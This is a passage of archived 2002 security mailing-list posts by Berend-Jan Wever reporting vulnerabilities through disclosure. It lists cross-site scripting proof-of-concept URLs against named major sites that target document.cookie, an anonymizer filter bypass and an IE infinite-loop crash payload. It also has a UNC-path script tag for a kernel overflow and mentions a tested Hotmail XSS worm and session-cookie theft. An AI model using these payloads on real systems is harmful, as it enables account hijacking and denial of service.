characters. Even more interresting than the "poisoned link" example above 
is the possibility to create a "CSS Traps" by poisoning messages in the 
group discussion board. SCRIPTs can be inserted into the title of messages.

Some more examples of the apparant ignorance of the people at blackboard:
http://company.blackboard.com/contactus/ProcessInfo.cgi?Response=7&CTID=";]
[SCRIPT]alert(document.cookie)[/SCRIPT]
http://company.blackboard.com/contactus/index.cgi?Message=[SCRIPT]alert
(document.cookie)[/SCRIPT]
(replace [ & ] with < & >, duh...)

Berend-Jan Wever aka SkyLined
http://spoor12.edup.tudelft.nl

http://spoor12.edup.tudelft.nl/SkyLined v4.2/?Cross site scripting archive

De-anonymizer

[Berend-Jan Wever]

I have "hacked" my way out of anonymizer with Cross-site 
scripting:
http://anon.free.anonymizer.com/http://spoor12.edup.tudelft.
nl/SkyLined/docs/de_anonymizer.labs.html

It uses a <SCRIPT> tag without a closing </SCRIPT> tag to 
fool anonymizer into allowing an onError event to pass 
filters. This allows me to execute javascript with obvious 
security breaches.


Anonymizer was informed of the situation.

Kind regards,

Berend-Jan Wever
http://spoor12.edup.tudelft.nl

IE DoS and possibly exploitable stack overflow

[Berend-Jan Wever]

---
Advisory
I discovered a flaw in IE a while ago that can kill IE and 
can halt the entier system under windows 9x. It didn't seem 
like a big deal to me at the time, but seeing the fuzz 
about Matthew Murphy's discovery of a similar IE DoS (see 
bugtraq post at the bottom of this message) I hereby 
republish it and inform the vendor, Microsoft, about the 
problem.

Kind regards,


Berend-Jan Wever



---
Affected software versions
Every versionof IE (up to 6.0 fully patched) seems to be 
affected. The stability of Windows 9x can be affected by 
crashing IE.



---
Explanation of the flaw
Exploitation causes a stack overflow. This will probably be 
exploitable but I am not familiar with stack overflow 
exploitation so I will leave that to the real h4x0rs.

Basic example of the flaw:

What this does:
1) It creates an image with an invalid src
2) IE tries to show the picture but can't: it fires the 
onError-event
3) The onError-event resets the src attribute to the same 
invalid src.
4) goto 2

As you can see, it's based on an infinite loop: The onError 
event causes itself. Every time the onError event fires 
another return addresses is pushed on the stack until it's 
filled up and overflows.
Various variants of this error cause various overflows in 
various DLL's.
IE 6.0 seems to be better protected against fatal crashes 
than IE 5.0 and windows 2000 seems te be unaffected while 
some variants will cause overflow in kernel32.dll and halt 
win9x.
IE 6.0 will report the overflow with a popup message and 
continue to function most of the time but some variants 
will terminate all open IE windows without notification.



---
More details
More details about various variants of this flaw can be 
found on my website. As you can imagine there are a lot of 
possibilities to create infinite loops.
http://spoor12.edup.tudelft.nl



---
Vendor status
Microsoft is hereby informed of the problem. As far as I 
know, Infinite loops have been known to be a problem for 
some time now, that's why IE 6.0 is more stable (but not 
stable enough.)



---
Origional message to bugtraq by Matthew Murphy
The Flaw

OBJECT elements are used for embedded OLE in HTML 
documents.  A flaw in
the way Microsoft Internet Explorer processes this 
directive allows a page
that causes a loop in object dependancy, or loads itself in 
a certain manner
in an OBJECT, to completely crash Internet Explorer.

The Exploit

To date, I have discovered 4 points of exploitation to 
crash the
browser.  My favorite example is this one:

 [ CRASH.HTM ] 
<OBJECT DATA="CRASH.HTM" TYPE="text/html"></OBJECT>
 [ CRASH.HTM ] 

IE dies inside shdocvw.dll with a call stack overflow.

Fixes

Set "Run ActiveX Controls and Plugins" to disabled in 
ALL zones.  An XML
Island DSO may even be able to get past this, however.  I 
would expect this
bug to fixed in a future IE service pack, though there's 
been no
confirmation/details of that from Microsoft.

Re: Cross site scripting in almost every mayor website

[Berend-Jan Wever]

Been there, done that.

I have successfully created a worm and tested it 
before trying to report this to McAfee, they do the 
vrus scanning for hotmail. I got a "you are not a 
registered user" auto-reply and they ignored my 
messages because I wasn't in their files ;( too bad 
for them.
You do have full access to the DOM of Hotmail 
when you can find a way to cross-site script, thus 
allowing you full access to the inbox, address 
book etc...

BJ
- Original Message - 
From: FozZy 
To: [EMAIL PROTECTED] 
Cc: [EMAIL PROTECTED] ; vuln-
[EMAIL PROTECTED] 
Sent: Sunday, April 21, 2002 3:53
Subject: Re: Cross site scripting in almost every 
mayor website


To webmail developpers : there is something 
interesting for you hidden in this post. The 
Hotmail problem was a "evil html filtering" problem 
in incoming e-mails. It was possible to bypass the 
filter by injecting javascript with XML, when 
parsed with IE.  See :
http://spoor12.edup.tudelft.nl/SkyLined/docs/ie.hot
mail.howto.css.html

*** I guess that many other webmails are 
vulnerable to this attack. ***

I verified that Yahoo is vulnerable with IE 5.5 (but 
they have other bugs and they don't care, see 
http://online.securityfocus.com/archive/1/265464). 
I did not checked other webmails, but I am sure 
almost every one can be cracked this way.

> The fix: as far as I could find out they now 
replace 
> the properties 'dataFld', 'dataFormatAs' 
> and 'dataSrc' of any HTML tag 
> with 'xdataFld', 'xdataFormatAs' and 'xdataSrc' 
to 
> prevent XML generation of HTML alltogether.

The implication of executing javascript is that an 
incoming email can control the mailbox of the 
user.  It is also possible to send the session 
cookie to a cgi script and read remotely all the e-
mails. (BTW, it is still possible to do that on 
Hotmail and on almost every webmail, since they 
don't check the IP address, even without this XML 
trick cause their filters are sooo bad) 
I fear that a cross-platform and cross-site webmail 
worm deleting all the emails and spreading could 
appear in the near future. Please Hotmail Yahoo 
& co, do something before it comes true... 

FozZy

Hackademy / Hackerz Voice
http://www.dmpfrance.com/inted.html

Cross site scripting in almost every mayor website

[Berend-Jan Wever]

On april 26 I posted a message about Cross-Site 
scripting (see bottom) I mentioned that I had 
found Cross-site scripting flaws in many major 
websites but I did not publish the exact details of 
these flaws. After notifying the owners of these 
sites and giving them time to respond and fix the 
problem, I now feel I have to post the details to 
bugtraq. This information and more on cross-site 
scripting can also be found on my website 
http://spoor12.edup.tudelft.nl/skylined which is 
updated almost daily.

Kind regards,
Berend-Jan Wever.

Cross-site scripting archive: Here are all the sites 
that I know to have at least one cross-site 
scripting flaw. I have logged all the 
communication I have had with them. (Last 
update April 19, 2002)

www.search.com  http://www.search.com/search?
q='><SCRIPT>alert(document.cookie)
</SCRIPT>' 
- 23 mar 2002 Reported 
@ "http://www.cnet.com/cnetsupport/contact/1,10
161,0-3945,00.html"
- 28 mar 2002 Reported 
@ "http://www.search.com/feedback/";
 

--
--
 
www.altavista.com  
http://www.altavista.com/sites/search/web?
q=*&kl="><SCRIPT>alert(document.cookie)
</SCRIPT> 
- 23 mar 2002 Reported 
@ "http://help.altavista.com/contact/search";
- 25 mar 2002 Reply by email: "We have 
forwarded your email to our engineering team for 
further investigation"
 

--
--
 
edit.yahoo.com  
http://edit.yahoo.com/config?.done="%
20style="width:expression(document.write
(document.cookie)); 
- 27 mar 2002 Reported to "arturo@yahoo-
inc.com", "[EMAIL PROTECTED]"
 

--
--
 
search.netscape.com
addressbook.netscape.com  
http://search.netscape.com/search.psp?
search="><SCRIPT>alert(document.cookie)
</SCRIPT> 
http://addressbook.netscape.com/search.adp?
SearchStr="><SCRIPT>alert(document.cookie)
</SCRIPT> 
(Addressbook.netscape.com requires you to be 
logged in)
- 23 mar 2002 Reported 
@ "http://help.netscape.com/website/feedback.ht
ml"
 

--
--
 
cq-search.ebay.com  http://cq-
search.ebay.com/search/search.dll?
MfcISAPICommand=GetResult&ht="><SCRIPT>a
lert(document.cookie)</SCRIPT>&query=a 
- 26 mar 2002 Reported to "[EMAIL PROTECTED]"
- 27 mar 2002 Reply by email: "Reviewing the 
issue", "Do you have any suggestions?"
- 27 mar 2002 Gave some hints and told them 
about my CSS howto.
 

--
--
 
www.amazon.com  
http://www.amazon.com/exec/obidos/ASIN/B
5T68P/ref%3D%20style%3Dwidth%
3Aexpression%28document.write%
28document.cookie%29%29%20/ 
- 23 mar 2002 Reported 
@ "http://www.amazon.com/exec/obidos/handle-
generic-form/102-3185800-6674542?action=next-
page&target=stores/help/self-service-email-form-
dispatch.html&display=basic&browse=560710&m
ethod=GET&cgi-post-result=1/102-3185800-
6674542."
- 26 mar 2002 "[EMAIL PROTECTED]" responded 
to my bugtraq post
- 26 mar 2002 Reported to "[EMAIL PROTECTED]"
- 26 mar 2002 Told them about my CSS howto.
 

--
--
 
www.looksmart.com cnn.looksmart.com
 http://www.looksmart.com/r_search?
look=&key=><SCRIPT>alert(document.cookie)
</SCRIPT> 
http://cnn.looksmart.com/r_search?
look=&key=><SCRIPT>alert(document.cookie)
</SCRIPT> 
- 23 mar 2002 Reported 
to "[EMAIL PROTECTED]"
 

--
--
 
www.time.com  
http://www.time.com/time/searchresults?
query=a&summaries="%
20style="width:expression(document.write
(document.cookie))" 
- 23 mar 2002 Reported to "[EMAIL PROTECTED]"
- 26 mar 2002 Reported 
to "[EMAIL PROTECTED]"
 

--
--
 
www.infospace.com  
http://www.infospace.com/info.xcite/dog/newsresul
ts.htm?&qkw="><SCRIPT>alert(document.cookie)
</SCRIPT>&qcat=news&fs=nws 
- 23 mar 2002 Reported 
@ "http://www.infospace.com/info/redirs_all.htm?
pgtarg=abtct&"
 

--
--
 
www.lasseters.com.au  
http://www.lasseters.com.au/default3.asp?
Network="%20onload="alert(document.cookie);"%
20z=" 
- 28 mar 20

Re: NSFOCUS SA2002-02 : Microsoft Windows MUP overlong request kernel overflow

[Berend-Jan Wever]

Hello!
 
I believe this vulnerability can be exploited 
remotely because a browser like IE can remotely 
be redirected to the UNC path or made to open a 
file in a UNC path:
The following pieces of code can be in a HTML 
page on the web or in a HTML email/newsgroup 
message:
or
or
   <SCRIPT 
src="\\ip\sharename\..."></SCRIPT>
...etc...
Any user that visits the page or reads the 
message will locally try to open the page, and 
thus allow the vulnerability to be exploited.
 
TO NSFOCUS: I have tried to reproduce the bug 
on my win 2000 system using the above tags in a 
HTML page in IE 6.0 but all I got was a 'invalid 
pointer' error. Also, I have tried to reply to you 
directly but the email bounced. Please give me 
some more information on how to produce the 
bug so I can do some testing on the remote 
exploit or test the scenario explain above yourself.
 
Kinds regards,
 
Berend-Jan Wever

(I am replying this late because I'm having trouble 
posting to bugtraq through email and finally gave 
up and did it online at the site.)